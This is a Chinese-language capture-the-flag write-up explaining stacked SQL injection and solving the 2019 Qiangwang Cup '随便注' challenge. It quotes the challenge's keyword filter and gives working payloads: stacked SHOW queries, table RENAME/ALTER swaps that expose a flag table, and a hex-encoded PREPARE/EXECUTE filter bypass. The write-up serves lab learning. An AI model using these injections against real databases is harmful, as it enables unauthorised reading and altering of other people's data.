定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
使用条件
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()
函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()
函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
强网杯2019 随便注
过滤了return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
尝试堆叠注入/?inject=222';show databases;#
/?inject=222';use ctftraining;show tables;#
禁用了select,使用show columns from
1';use ctftraining;show columns from FLAG_TABLE;#
假的 继续找1';use supersqli;show tables;#
?inject=1’;use supersqli;show columns from words;#
?inject=1’; use supersqli; show columns from 1919810931114514
;#
然后这里有个巧妙的解法,因为关键字禁了很多,想取出数据不容易1
RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
words是我们默认查询的表,重命名为words1,把flag所在表重命名为words,然后再用
1’ or 1=1#就可以看到flag了。
还有一个思路就是set @t=0x73656c65637420312c323b;prepare x from @t;execute x;
用16进制来绕过关键词检测 select 1,2;
这里strstr检测子串,可以用大小写绕过。
1 | select flag from 1919810931114514 |
done